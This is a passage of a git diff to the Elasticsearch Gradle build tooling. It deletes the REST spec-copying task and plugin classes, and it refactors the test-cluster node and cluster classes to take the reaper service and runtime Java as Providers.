org.gradle.api.file.DirectoryProperty; -import org.gradle.api.file.FileCollection; -import org.gradle.api.file.FileSystemOperations; -import org.gradle.api.file.FileTree; -import org.gradle.api.file.ProjectLayout; -import org.gradle.api.model.ObjectFactory; -import org.gradle.api.provider.ListProperty; -import org.gradle.api.tasks.Input; -import org.gradle.api.tasks.InputFiles; -import org.gradle.api.tasks.Internal; -import org.gradle.api.tasks.OutputDirectory; -import org.gradle.api.tasks.SkipWhenEmpty; -import org.gradle.api.tasks.TaskAction; -import org.gradle.api.tasks.util.PatternFilterable; -import org.gradle.api.tasks.util.PatternSet; -import org.gradle.internal.Factory; - -import javax.inject.Inject; -import java.io.File; -import java.io.IOException; -import java.nio.file.Files; -import java.util.function.Function; -import java.util.stream.Collectors; - -import static org.elasticsearch.gradle.util.GradleUtils.getProjectPathFromTask; - -/** - * Copies the files needed for the Rest YAML specs to the current projects test resources output directory. - * This is intended to be be used from {@link RestResourcesPlugin} since the plugin wires up the needed - * configurations and custom extensions. - * - * @see RestResourcesPlugin - */ -public class CopyRestApiTask extends DefaultTask { - private static final String REST_API_PREFIX = "rest-api-spec/api"; - private static final String REST_TEST_PREFIX = "rest-api-spec/test"; - private final ListProperty includeCore; - private final ListProperty includeXpack; - private final DirectoryProperty outputResourceDir; - private final DirectoryProperty additionalYamlTestsDir; - - private File sourceResourceDir; - private boolean skipHasRestTestCheck; - private FileCollection coreConfig; - private FileCollection xpackConfig; - private FileCollection additionalConfig; - private Function coreConfigToFileTree = FileCollection::getAsFileTree; - private Function xpackConfigToFileTree = FileCollection::getAsFileTree; - private Function additionalConfigToFileTree = FileCollection::getAsFileTree; - - private final PatternFilterable corePatternSet; - private final PatternFilterable xpackPatternSet; - private final ProjectLayout projectLayout; - private final FileSystemOperations fileSystemOperations; - private final ArchiveOperations archiveOperations; - - @Inject - public CopyRestApiTask( - ProjectLayout projectLayout, - Factory patternSetFactory, - FileSystemOperations fileSystemOperations, - ArchiveOperations archiveOperations, - ObjectFactory objectFactory - ) { - this.includeCore = objectFactory.listProperty(String.class); - this.includeXpack = objectFactory.listProperty(String.class); - this.outputResourceDir = objectFactory.directoryProperty(); - this.additionalYamlTestsDir = objectFactory.directoryProperty(); - this.corePatternSet = patternSetFactory.create(); - this.xpackPatternSet = patternSetFactory.create(); - this.projectLayout = projectLayout; - this.fileSystemOperations = fileSystemOperations; - this.archiveOperations = archiveOperations; - } - - @Input - public ListProperty getIncludeCore() { - return includeCore; - } - - @Input - public ListProperty getIncludeXpack() { - return includeXpack; - } - - @Input - public boolean isSkipHasRestTestCheck() { - return skipHasRestTestCheck; - } - - @SkipWhenEmpty - @InputFiles - public FileTree getInputDir() { - FileTree coreFileTree = null; - FileTree xpackFileTree = null; - if (includeXpack.get().isEmpty() == false) { - xpackPatternSet.setIncludes(includeXpack.get().stream().map(prefix -> prefix + "*/**").collect(Collectors.toList())); - xpackFileTree = xpackConfigToFileTree.apply(xpackConfig).matching(xpackPatternSet); - } - boolean projectHasYamlRestTests = skipHasRestTestCheck || projectHasYamlRestTests(); - if (includeCore.get().isEmpty() == false || projectHasYamlRestTests) { - if (BuildParams.isInternal()) { - corePatternSet.setIncludes(includeCore.get().stream().map(prefix -> prefix + "*/**").collect(Collectors.toList())); - coreFileTree = coreConfigToFileTree.apply(coreConfig).matching(corePatternSet); // directory on disk - } else { - coreFileTree = coreConfig.getAsFileTree(); // jar file - } - } - - FileCollection fileCollection = additionalConfig == null - ? projectLayout.files(coreFileTree, xpackFileTree) - : projectLayout.files(coreFileTree, xpackFileTree, additionalConfigToFileTree.apply(additionalConfig)); - - // if project has rest tests or the includes are explicitly configured execute the task, else NO-SOURCE due to the null input - return projectHasYamlRestTests || includeCore.get().isEmpty() == false || includeXpack.get().isEmpty() == false - ? fileCollection.getAsFileTree() - : null; - } - - @OutputDirectory - public DirectoryProperty getOutputResourceDir() { - return outputResourceDir; - } - - @Internal - public DirectoryProperty getAdditionalYamlTestsDir() { - return additionalYamlTestsDir; - } - - @TaskAction - void copy() { - // clean the output directory to ensure no stale files persist - fileSystemOperations.delete(d -> d.delete(outputResourceDir)); - - // always copy the core specs if the task executes - String projectPath = getProjectPathFromTask(getPath()); - File restSpecOutputDir = new File(outputResourceDir.get().getAsFile(), REST_API_PREFIX); - - if (BuildParams.isInternal()) { - getLogger().debug("Rest specs for project [{}] will be copied to the test resources.", projectPath); - fileSystemOperations.copy(c -> { - c.from(coreConfigToFileTree.apply(coreConfig)); - c.into(restSpecOutputDir); - c.include(corePatternSet.getIncludes()); - }); - } else { - getLogger().debug( - "Rest specs for project [{}] will be copied to the test resources from the published jar (version: [{}]).", - projectPath, - VersionProperties.getElasticsearch() - ); - fileSystemOperations.copy(c -> { - c.from(archiveOperations.zipTree(coreConfig.getSingleFile())); // jar file - c.into(outputResourceDir); - if (includeCore.get().isEmpty()) { - c.include(REST_API_PREFIX + "/**"); - } else { - c.include( - includeCore.get().stream().map(prefix -> REST_API_PREFIX + "/" + prefix + "*/**").collect(Collectors.toList()) - ); - } - }); - } - // only copy x-pack specs if explicitly instructed - if (includeXpack.get().isEmpty() == false) { - getLogger().debug("X-pack rest specs for project [{}] will be copied to the test resources.", projectPath); - fileSystemOperations.copy(c -> { - c.from(xpackConfigToFileTree.apply(xpackConfig)); - c.into(restSpecOutputDir); - c.include(xpackPatternSet.getIncludes()); - }); - } - - // copy any additional config - if (additionalConfig != null) { - fileSystemOperations.copy(c -> { - c.from(additionalConfigToFileTree.apply(additionalConfig)); - c.into(restSpecOutputDir); - }); - } - } - - /** - * Returns true if any files with a .yml extension exist the test resources rest-api-spec/test directory (from source or output dir) - */ - private boolean projectHasYamlRestTests() { - try { - // check source folder for tests - if (sourceResourceDir != null && new File(sourceResourceDir, REST_TEST_PREFIX).exists()) { - return Files.walk(sourceResourceDir.toPath().resolve(REST_TEST_PREFIX)) - .anyMatch(p -> p.getFileName().toString().endsWith("yml")); - } - // check output for cases where tests are copied programmatically - File yamlTestOutputDir = new File(additionalYamlTestsDir.get().getAsFile(), REST_TEST_PREFIX); - if (yamlTestOutputDir.exists()) { - return Files.walk(yamlTestOutputDir.toPath()).anyMatch(p -> p.getFileName().toString().endsWith("yml")); - } - } catch (IOException e) { - throw new IllegalStateException(String.format("Error determining if this project [%s] has rest tests.", getProject()), e); - } - return false; - } - - public void setSourceResourceDir(File sourceResourceDir) { - this.sourceResourceDir = sourceResourceDir; - } - - public void setSkipHasRestTestCheck(boolean skipHasRestTestCheck) { - this.skipHasRestTestCheck = skipHasRestTestCheck; - } - - public void setCoreConfig(FileCollection coreConfig) { - this.coreConfig = coreConfig; - } - - public void setXpackConfig(FileCollection xpackConfig) { - this.xpackConfig = xpackConfig; - } - - public void setAdditionalConfig(FileCollection additionalConfig) { - this.additionalConfig = additionalConfig; - } - - public void setCoreConfigToFileTree(Function coreConfigToFileTree) { - this.coreConfigToFileTree = coreConfigToFileTree; - } - - public void setXpackConfigToFileTree(Function xpackConfigToFileTree) { - this.xpackConfigToFileTree = xpackConfigToFileTree; - } - - public void setAdditionalConfigToFileTree(Function additionalConfigToFileTree) { - this.additionalConfigToFileTree = additionalConfigToFileTree; - } - - @Internal - public FileCollection getCoreConfig() { - return coreConfig; - } - - @Internal - public FileCollection getXpackConfig() { - return xpackConfig; - } - -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/JavaRestTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/JavaRestTestPlugin.java deleted file mode 100644 index 8c6a6d19c7928..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/JavaRestTestPlugin.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle.test.rest; - -import org.elasticsearch.gradle.ElasticsearchJavaPlugin; -import org.elasticsearch.gradle.test.RestIntegTestTask; -import org.elasticsearch.gradle.test.RestTestBasePlugin; -import org.elasticsearch.gradle.testclusters.TestClustersPlugin; -import org.elasticsearch.gradle.util.GradleUtils; -import org.gradle.api.Plugin; -import org.gradle.api.Project; -import org.gradle.api.plugins.JavaBasePlugin; -import org.gradle.api.provider.Provider; -import org.gradle.api.tasks.SourceSet; -import org.gradle.api.tasks.SourceSetContainer; - -import static org.elasticsearch.gradle.test.rest.RestTestUtil.createTestCluster; -import static org.elasticsearch.gradle.test.rest.RestTestUtil.registerTask; -import static org.elasticsearch.gradle.test.rest.RestTestUtil.setupDependencies; - -/** - * Apply this plugin to run the Java based REST tests. - */ -public class JavaRestTestPlugin implements Plugin { - - public static final String SOURCE_SET_NAME = "javaRestTest"; - - @Override - public void apply(Project project) { - - project.getPluginManager().apply(ElasticsearchJavaPlugin.class); - project.getPluginManager().apply(RestTestBasePlugin.class); - project.getPluginManager().apply(TestClustersPlugin.class); - - // create source set - SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class); - SourceSet javaTestSourceSet = sourceSets.create(SOURCE_SET_NAME); - - // create the test cluster container - createTestCluster(project, javaTestSourceSet); - - // setup the javaRestTest task - Provider javaRestTestTask = registerTask(project, javaTestSourceSet); - - // setup dependencies - setupDependencies(project, javaTestSourceSet); - - // setup IDE - GradleUtils.setupIdeForTestSourceSet(project, javaTestSourceSet); - - // wire this task into check - project.getTasks().named(JavaBasePlugin.CHECK_TASK_NAME).configure(check -> check.dependsOn(javaRestTestTask)); - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestResourcesExtension.java b/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestResourcesExtension.java deleted file mode 100644 index 4c55323606386..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestResourcesExtension.java +++ /dev/null @@ -1,76 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -package org.elasticsearch.gradle.test.rest; - -import org.elasticsearch.gradle.info.BuildParams; -import org.gradle.api.Action; -import org.gradle.api.model.ObjectFactory; -import org.gradle.api.provider.ListProperty; - -import javax.inject.Inject; - -/** - * Custom extension to configure the {@link CopyRestApiTask} - */ -public class RestResourcesExtension { - - final RestResourcesSpec restApi; - final RestResourcesSpec restTests; - - @Inject - public RestResourcesExtension(ObjectFactory objects) { - restApi = new RestResourcesSpec(objects); - restTests = new RestResourcesSpec(objects); - } - - void restApi(Action spec) { - spec.execute(restApi); - } - - void restTests(Action spec) { - spec.execute(restTests); - } - - public RestResourcesSpec getRestApi() { - return restApi; - } - - public RestResourcesSpec getRestTests() { - return restTests; - } - - public static class RestResourcesSpec { - - private final ListProperty includeCore; - private final ListProperty includeXpack; - - RestResourcesSpec(ObjectFactory objects) { - includeCore = objects.listProperty(String.class); - includeXpack = objects.listProperty(String.class); - } - - public void includeCore(String... include) { - this.includeCore.addAll(include); - } - - public void includeXpack(String... include) { - if (BuildParams.isInternal() == false) { - throw new IllegalStateException("Can not include x-pack rest resources from an external build."); - } - this.includeXpack.addAll(include); - } - - public ListProperty getIncludeCore() { - return includeCore; - } - - public ListProperty getIncludeXpack() { - return includeXpack; - } - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestResourcesPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestResourcesPlugin.java deleted file mode 100644 index 9bf2ae95507d5..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/RestResourcesPlugin.java +++ /dev/null @@ -1,160 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -package org.elasticsearch.gradle.test.rest; - -import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.info.BuildParams; -import org.gradle.api.Plugin; -import org.gradle.api.Project; -import org.gradle.api.artifacts.Configuration; -import org.gradle.api.artifacts.Dependency; -import org.gradle.api.provider.Provider; -import org.gradle.api.tasks.SourceSet; -import org.gradle.api.tasks.SourceSetContainer; - -import java.util.Map; - -import static org.gradle.api.tasks.SourceSet.TEST_SOURCE_SET_NAME; - -/** - *

- * Gradle plugin to help configure {@link CopyRestApiTask}'s and {@link CopyRestTestsTask} that copies the artifacts needed for the Rest API - * spec and YAML based rest tests. - *

- * Rest API specification:
- * When the {@link RestResourcesPlugin} has been applied the {@link CopyRestApiTask} will automatically copy the core Rest API specification - * if there are any Rest YAML tests present in source, or copied from {@link CopyRestTestsTask} output. X-pack specs must be explicitly - * declared to be copied. - *
- * For example: - * 
- * restResources {
- *   restApi {
- *     includeXpack 'enrich'
- *   }
- * }
- *
- * Will copy the entire core Rest API specifications (assuming the project has tests) and any of the the X-pack specs starting with enrich*. - * It is recommended (but not required) to also explicitly declare which core specs your project depends on to help optimize the caching - * behavior. - * For example: - * 
- * restResources {
- *   restApi {
- *     includeCore 'index', 'cat'
- *     includeXpack 'enrich'
- *   }
- * }
- *
- *
- * Rest YAML tests :
- * When the {@link RestResourcesPlugin} has been applied the {@link CopyRestTestsTask} will copy the Rest YAML tests if explicitly - * configured with `includeCore` or `includeXpack` through the `restResources.restTests` extension. - * For example: - * 
- * restResources {
- *  restApi {
- *      includeXpack 'graph'
- *   }
- *   restTests {
- *     includeXpack 'graph'
- *   }
- * }
- *
- * Will copy any of the the x-pack tests that start with graph, and will copy the X-pack graph specification, as well as the full core - * Rest API specification. - *

- * Additionally you can specify which sourceSetName resources should be copied to. The default is the yamlRestTest source set. - * - * @see CopyRestApiTask - * @see CopyRestTestsTask - */ -public class RestResourcesPlugin implements Plugin { - - public static final String COPY_YAML_TESTS_TASK = "copyYamlTestsTask"; - public static final String COPY_REST_API_SPECS_TASK = "copyRestApiSpecsTask"; - private static final String EXTENSION_NAME = "restResources"; - - @Override - public void apply(Project project) { - RestResourcesExtension extension = project.getExtensions().create(EXTENSION_NAME, RestResourcesExtension.class); - - SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class); - SourceSet defaultSourceSet = sourceSets.getByName(TEST_SOURCE_SET_NAME); - - // tests - Configuration testConfig = project.getConfigurations().create("restTestConfig"); - Configuration xpackTestConfig = project.getConfigurations().create("restXpackTestConfig"); - project.getConfigurations().create("restTests"); - project.getConfigurations().create("restXpackTests"); - Provider copyRestYamlTestTask = project.getTasks() - .register(COPY_YAML_TESTS_TASK, CopyRestTestsTask.class, task -> { - task.getIncludeCore().set(extension.restTests.getIncludeCore()); - task.getIncludeXpack().set(extension.restTests.getIncludeXpack()); - task.setCoreConfig(testConfig); - task.getOutputResourceDir().set(project.getLayout().getBuildDirectory().dir("restResources/yamlTests")); - if (BuildParams.isInternal()) { - // core - Dependency restTestdependency = project.getDependencies() - .project(Map.of("path", ":rest-api-spec", "configuration", "restTests")); - project.getDependencies().add(testConfig.getName(), restTestdependency); - // x-pack - task.setXpackConfig(xpackTestConfig); - Dependency restXPackTestdependency = project.getDependencies() - .project(Map.of("path", ":x-pack:plugin", "configuration", "restXpackTests")); - project.getDependencies().add(xpackTestConfig.getName(), restXPackTestdependency); - task.dependsOn(task.getXpackConfig()); - } else { - Dependency dependency = project.getDependencies() - .create("org.elasticsearch:rest-api-spec:" + VersionProperties.getElasticsearch()); - project.getDependencies().add(testConfig.getName(), dependency); - } - task.dependsOn(testConfig); - }); - - // api - Configuration specConfig = project.getConfigurations().create("restSpec"); // name chosen for passivity - Configuration xpackSpecConfig = project.getConfigurations().create("restXpackSpec"); - project.getConfigurations().create("restSpecs"); - project.getConfigurations().create("restXpackSpecs"); - Provider copyRestYamlApiTask = project.getTasks() - .register(COPY_REST_API_SPECS_TASK, CopyRestApiTask.class, task -> { - task.dependsOn(copyRestYamlTestTask); - task.getIncludeCore().set(extension.restApi.getIncludeCore()); - task.getIncludeXpack().set(extension.restApi.getIncludeXpack()); - task.setCoreConfig(specConfig); - task.getOutputResourceDir().set(project.getLayout().getBuildDirectory().dir("restResources/yamlSpecs")); - task.getAdditionalYamlTestsDir().set(copyRestYamlTestTask.flatMap(CopyRestTestsTask::getOutputResourceDir)); - task.setSourceResourceDir( - defaultSourceSet.getResources() - .getSrcDirs() - .stream() - .filter(f -> f.isDirectory() && f.getName().equals("resources")) - .findFirst() - .orElse(null) - ); - if (BuildParams.isInternal()) { - Dependency restSpecDependency = project.getDependencies() - .project(Map.of("path", ":rest-api-spec", "configuration", "restSpecs")); - project.getDependencies().add(specConfig.getName(), restSpecDependency); - task.setXpackConfig(xpackSpecConfig); - Dependency restXpackSpecDependency = project.getDependencies() - .project(Map.of("path", ":x-pack:plugin", "configuration", "restXpackSpecs")); - project.getDependencies().add(xpackSpecConfig.getName(), restXpackSpecDependency); - task.dependsOn(task.getXpackConfig()); - } else { - Dependency dependency = project.getDependencies() - .create("org.elasticsearch:rest-api-spec:" + VersionProperties.getElasticsearch()); - project.getDependencies().add(specConfig.getName(), dependency); - } - task.dependsOn(xpackSpecConfig); - }); - - defaultSourceSet.getOutput().dir(copyRestYamlApiTask.map(CopyRestApiTask::getOutputResourceDir)); - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformByParentObject.java b/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformByParentObject.java deleted file mode 100644 index 531530654f0c5..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/RestTestTransformByParentObject.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle.test.rest.transform; - -import com.fasterxml.jackson.databind.node.ObjectNode; - -/** - * A type of {@link RestTestTransform} that finds the transformation by a given key in to an {@link ObjectNode}. - */ -public interface RestTestTransformByParentObject extends RestTestTransform { - - /** - * @return The name of key to find in the REST test - */ - String getKeyToFind(); - - /** - * @return If the value of the ObjectNode is also an ObjectNode, ensure that child key name is also satisfied. - * {@code null} to indicate no required children. - */ - default String requiredChildKey() { - return null; - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/ReplaceMatch.java b/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/ReplaceMatch.java deleted file mode 100644 index a92e1f4d6a853..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/ReplaceMatch.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle.test.rest.transform.match; - -import com.fasterxml.jackson.databind.JsonNode; -import com.fasterxml.jackson.databind.node.ObjectNode; -import org.elasticsearch.gradle.test.rest.transform.RestTestContext; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransformByParentObject; -import org.gradle.api.tasks.Input; -import org.gradle.api.tasks.Optional; - -/** - * A transformation to replace the value of a match. For example, change from "match":{"_type": "foo"} to "match":{"_type": "bar"} - */ -public class ReplaceMatch implements RestTestTransformByParentObject { - private final String replaceKey; - private final JsonNode replacementNode; - private final String testName; - - public ReplaceMatch(String replaceKey, JsonNode replacementNode) { - - this.replaceKey = replaceKey; - this.replacementNode = replacementNode; - this.testName = null; - } - - public ReplaceMatch(String replaceKey, JsonNode replacementNode, String testName) { - this.replaceKey = replaceKey; - this.replacementNode = replacementNode; - this.testName = testName; - } - - @Override - public String getKeyToFind() { - return "match"; - } - - @Override - public String requiredChildKey() { - return replaceKey; - } - - @Override - public boolean shouldApply(RestTestContext testContext) { - return testName == null || testContext.getTestName().equals(testName); - } - - @Override - public void transformTest(ObjectNode matchParent) { - ObjectNode matchNode = (ObjectNode) matchParent.get(getKeyToFind()); - matchNode.set(replaceKey, replacementNode); - } - - @Input - public String getReplaceKey() { - return replaceKey; - } - - @Input - public JsonNode getReplacementNode() { - return replacementNode; - } - - @Input - @Optional - public String getTestName() { - return testName; - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/ElasticsearchCluster.java b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/ElasticsearchCluster.java index 4c16cdbe21a5a..5a82a11bb7aa5 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/ElasticsearchCluster.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/ElasticsearchCluster.java @@ -10,7 +10,6 @@ import org.elasticsearch.gradle.FileSupplier; import org.elasticsearch.gradle.PropertyNormalization; import org.elasticsearch.gradle.ReaperService; -import org.elasticsearch.gradle.http.WaitForHttpResource; import org.gradle.api.Named; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Project; @@ -54,21 +53,23 @@ public class ElasticsearchCluster implements TestClusterConfiguration, Named { private final File workingDirBase; private final LinkedHashMap> waitConditions = new LinkedHashMap<>(); private final Project project; - private final ReaperService reaper; + private final Provider reaper; private final FileSystemOperations fileSystemOperations; private final ArchiveOperations archiveOperations; private final ExecOperations execOperations; + private final Provider runtimeJava; private int nodeIndex = 0; public ElasticsearchCluster( String path, String clusterName, Project project, - ReaperService reaper, + Provider reaper, FileSystemOperations fileSystemOperations, ArchiveOperations archiveOperations, ExecOperations execOperations, - File workingDirBase + File workingDirBase, + Provider runtimeJava ) { this.path = path; this.clusterName = clusterName; @@ -78,6 +79,7 @@ public ElasticsearchCluster( this.archiveOperations = archiveOperations; this.execOperations = execOperations; this.workingDirBase = workingDirBase; + this.runtimeJava = runtimeJava; this.nodes = project.container(ElasticsearchNode.class); this.nodes.add( new ElasticsearchNode( @@ -89,7 +91,8 @@ public ElasticsearchCluster( fileSystemOperations, archiveOperations, execOperations, - workingDirBase + workingDirBase, + runtimeJava ) ); @@ -120,17 +123,24 @@ public void setNumberOfNodes(int numberOfNodes) { fileSystemOperations, archiveOperations, execOperations, - workingDirBase + workingDirBase, + runtimeJava ) ); } } @Internal - ElasticsearchNode getFirstNode() { + public ElasticsearchNode getFirstNode() { return nodes.getAt(clusterName + "-0"); } + @Internal + public ElasticsearchNode getLastNode() { + int index = nodes.size() - 1; + return nodes.getAt(clusterName + "-" + index); + } + @Internal public int getNumberOfNodes() { return nodes.size(); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/ElasticsearchNode.java b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/ElasticsearchNode.java index 844c8e65832c4..a30c551040612 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/ElasticsearchNode.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/testclusters/ElasticsearchNode.java @@ -14,23 +14,30 @@ import org.elasticsearch.gradle.FileSupplier; import org.elasticsearch.gradle.LazyPropertyList; import org.elasticsearch.gradle.LazyPropertyMap; +import org.elasticsearch.gradle.distribution.ElasticsearchDistributionTypes; import org.elasticsearch.gradle.LoggedExec; import org.elasticsearch.gradle.OS; import org.elasticsearch.gradle.PropertyNormalization; import org.elasticsearch.gradle.ReaperService; import org.elasticsearch.gradle.Version; import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.http.WaitForHttpResource; -import org.elasticsearch.gradle.info.BuildParams; +import org.elasticsearch.gradle.transform.UnzipTransform; +import org.elasticsearch.gradle.util.Pair; import org.gradle.api.Action; import org.gradle.api.Named; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Project; import org.gradle.api.artifacts.Configuration; +import org.gradle.api.artifacts.Dependency; +import org.gradle.api.artifacts.type.ArtifactTypeDefinition; +import org.gradle.api.attributes.Attribute; import org.gradle.api.file.ArchiveOperations; +import org.gradle.api.file.ConfigurableFileCollection; +import org.gradle.api.file.FileCollection; import org.gradle.api.file.FileSystemOperations; import org.gradle.api.file.FileTree; import org.gradle.api.file.RegularFile; +import org.gradle.api.internal.artifacts.ArtifactAttributes; import org.gradle.api.logging.Logger; import org.gradle.api.logging.Logging; import org.gradle.api.provider.Provider; @@ -62,7 +69,6 @@ import java.util.Arrays; import java.util.Collection; import java.util.Collections; -import java.util.Comparator; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedHashMap; @@ -83,6 +89,7 @@ import java.util.stream.Stream; import static java.util.Objects.requireNonNull; +import static java.util.Optional.ofNullable; public class ElasticsearchNode implements TestClusterConfiguration { @@ -113,7 +120,7 @@ public class ElasticsearchNode implements TestClusterConfiguration { private final String path; private final String name; private final Project project; - private final ReaperService reaper; + private final Provider reaperServiceProvider; private final FileSystemOperations fileSystemOperations; private final ArchiveOperations archiveOperations; private final ExecOperations execOperations; @@ -122,6 +129,7 @@ public class ElasticsearchNode implements TestClusterConfiguration { private final LinkedHashMap> waitConditions = new LinkedHashMap<>(); private final Map pluginAndModuleConfigurations = new HashMap<>(); + private final ConfigurableFileCollection pluginAndModuleConfiguration; private final List> plugins = new ArrayList<>(); private final List> modules = new ArrayList<>(); private final LazyPropertyMap settings = new LazyPropertyMap<>("Settings", this); @@ -144,6 +152,7 @@ public class ElasticsearchNode implements TestClusterConfiguration { private final Path esLogFile; private final Path esStdinFile; private final Path tmpDir; + private final Provider runtimeJava; private int currentDistro = 0; private TestDistribution testDistribution; @@ -157,25 +166,29 @@ public class ElasticsearchNode implements TestClusterConfiguration { private String keystorePassword = ""; private boolean preserveDataDir = false; + private Attribute bundleAttribute = Attribute.of("bundle", Boolean.class); + ElasticsearchNode( String clusterName, String path, String name, Project project, - ReaperService reaper, + Provider reaperServiceProvider, FileSystemOperations fileSystemOperations, ArchiveOperations archiveOperations, ExecOperations execOperations, - File workingDirBase + File workingDirBase, + Provider runtimeJava ) { this.clusterName = clusterName; this.path = path; this.name = name; this.project = project; - this.reaper = reaper; + this.reaperServiceProvider = reaperServiceProvider; this.fileSystemOperations = fileSystemOperations; this.archiveOperations = archiveOperations; this.execOperations = execOperations; + this.runtimeJava = runtimeJava; workingDir = workingDirBase.toPath().resolve(safeName(name)).toAbsolutePath(); confPathRepo = workingDir.resolve("repo"); configFile = workingDir.resolve("config/elasticsearch.yml"); @@ -189,8 +202,10 @@ public class ElasticsearchNode implements TestClusterConfiguration { waitConditions.put("ports files", this::checkPortsFilesExistWithDelay); defaultConfig.put("cluster.name", clusterName); + pluginAndModuleConfiguration = project.getObjects().fileCollection(); setTestDistribution(TestDistribution.INTEG_TEST); setVersion(VersionProperties.getElasticsearch()); + configureArtifactTransforms(); } @Input @@ -257,18 +272,12 @@ public void setTestDistribution(TestDistribution testDistribution) { private void setDistributionType(ElasticsearchDistribution distribution, TestDistribution testDistribution) { if (testDistribution == TestDistribution.INTEG_TEST) { - distribution.setType(ElasticsearchDistribution.Type.INTEG_TEST_ZIP); + distribution.setType(ElasticsearchDistributionTypes.INTEG_TEST_ZIP); // we change the underlying distribution when changing the test distribution of the cluster. - distribution.setFlavor(null); distribution.setPlatform(null); distribution.setBundledJdk(null); } else { - distribution.setType(ElasticsearchDistribution.Type.ARCHIVE); - if (testDistribution == TestDistribution.DEFAULT) { - distribution.setFlavor(ElasticsearchDistribution.Flavor.DEFAULT); - } else { - distribution.setFlavor(ElasticsearchDistribution.Flavor.OSS); - } + distribution.setType(ElasticsearchDistributionTypes.ARCHIVE); } } @@ -281,11 +290,15 @@ Collection getPluginAndModuleConfigurations() { // creates a configuration to depend on the given plugin project, then wraps that configuration // to grab the zip as a file provider private Provider maybeCreatePluginOrModuleDependency(String path) { - Configuration configuration = pluginAndModuleConfigurations.computeIfAbsent( - path, - key -> project.getConfigurations() - .detachedConfiguration(project.getDependencies().project(Map.of("path", path, "configuration", "zip"))) - ); + Configuration configuration = pluginAndModuleConfigurations.computeIfAbsent(path, key -> { + Dependency bundleDependency = this.project.getDependencies().project(Map.of("path", path, "configuration", "zip")); + return project.getConfigurations().detachedConfiguration(bundleDependency); + }); + + /** + * dependencies.create(files(provider { println("provider"); File(".") })) + * + * */ Provider fileProvider = configuration.getElements() .map( s -> s.stream() @@ -299,6 +312,7 @@ private Provider maybeCreatePluginOrModuleDependency(String path) { @Override public void plugin(Provider plugin) { checkFrozen(); + registerExtractedConfig(plugin); this.plugins.add(plugin.map(RegularFile::getAsFile)); } @@ -310,9 +324,32 @@ public void plugin(String pluginProjectPath) { @Override public void module(Provider module) { checkFrozen(); + registerExtractedConfig(module); this.modules.add(module.map(RegularFile::getAsFile)); } + private void registerExtractedConfig(Provider pluginProvider) { + Dependency pluginDependency = this.project.getDependencies().create(project.files(pluginProvider)); + Configuration extractedConfig = project.getConfigurations().detachedConfiguration(pluginDependency); + extractedConfig.getAttributes().attribute(ArtifactAttributes.ARTIFACT_FORMAT, ArtifactTypeDefinition.DIRECTORY_TYPE); + extractedConfig.getAttributes().attribute(bundleAttribute, true); + pluginAndModuleConfiguration.from(extractedConfig); + } + + private void configureArtifactTransforms() { + project.getDependencies().getAttributesSchema().attribute(bundleAttribute); + project.getDependencies().getArtifactTypes().maybeCreate(ArtifactTypeDefinition.ZIP_TYPE); + 